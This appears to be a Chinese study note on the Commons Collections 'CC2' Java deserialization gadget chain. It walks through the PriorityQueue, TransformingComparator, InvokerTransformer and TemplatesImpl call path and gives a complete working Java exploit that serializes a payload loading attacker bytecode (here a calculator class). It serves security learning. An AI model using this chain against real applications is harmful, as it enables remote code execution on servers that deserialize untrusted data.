java反序列化之CC2
CC2 链分析
CC2 这条链子是在 CC4 的基础上修改了一部分,主要是为了避免使用Transformer数组。
在 CC4 的基础上,抛弃了用InstantiateTransformer类将TrAXFilter初始化,以及 TemplatesImpl.newTransformer() 这个步骤。
CC2 的前半部分,还是和compare()方法相关,最后是TemplatesImpl动态加载字节码,和 CC4 最后部分是一样的。而难点就在InvokerTransformer的连接。
EXP 编写
先回顾一下调用链:
入口类我们选择PriorityQueue,因为这个类实现了java.io.Serializable接口,也有重写的readObject方法,在readObject方法中调用了PriorityQueue.heapify(),heapify()方法中调用了PriorityQueue.siftDown()方法,siftDown()方法中调用了PriorityQueue.siftDownUsingComparator()方法,siftDownUsingComparator()方法中会调用comparator属性的compare()方法。
此时我们把comparator属性初始化为TransformingComparator对象,就会调用TransformingComparator对象的compare()方法,compare()方法中会调用transformer属性的transform()方法,transformer属性是在我们实例化这个类的时候传的参数赋值的,所以我们传一个InvokerTransformer对象,就会调用transform方法实现反射调用任意类。
但目前有一个问题,调用InvokerTransformer.transform()传的参数要是我们实例化的TemplatesImpl,但是是怎么把这个参数传递进去的?在 CC4 中分析过,我们要对priorityQueue这个对象add两次才能运行,这里关键就在于这个add。
在 CC4 中也分析过,调用add方法也会触发compare()方法,这样就会导致没有进行序列化时就加载了字节码。所以我们会先把TransformingComparator的transformer属性设置为一个无关值,等add完之后在反射改回来。同时,如果我们add(templates)两次,这样不仅能够进入循环,还能把templates传入compare()方法,从而实现调用到InvokerTransformer.transform(templates)。
这样就进入InvokerTransformer的反射调用环节,如果我们想要动态加载字节码,此时需要调用templates的newTransformer方法,我们把newTransformer方法放到InvokerTransformer.transform()方法中去就能实现。
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class test {
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"abc");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class")); byte[][] codes={evil}; bytecodes.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates);
Class<? extends TransformingComparator> c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer"); transformer.setAccessible(true); transformer.set(transformingComparator,invokerTransformer);
serialize(priorityQueue); unserialize("ser.bin"); } }
|
总结
CC 链直接差别都不大,前面的学懂了后面的链子很容易上手。
CC2 和别的链子的差别就是没有Transformer 数组,不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现。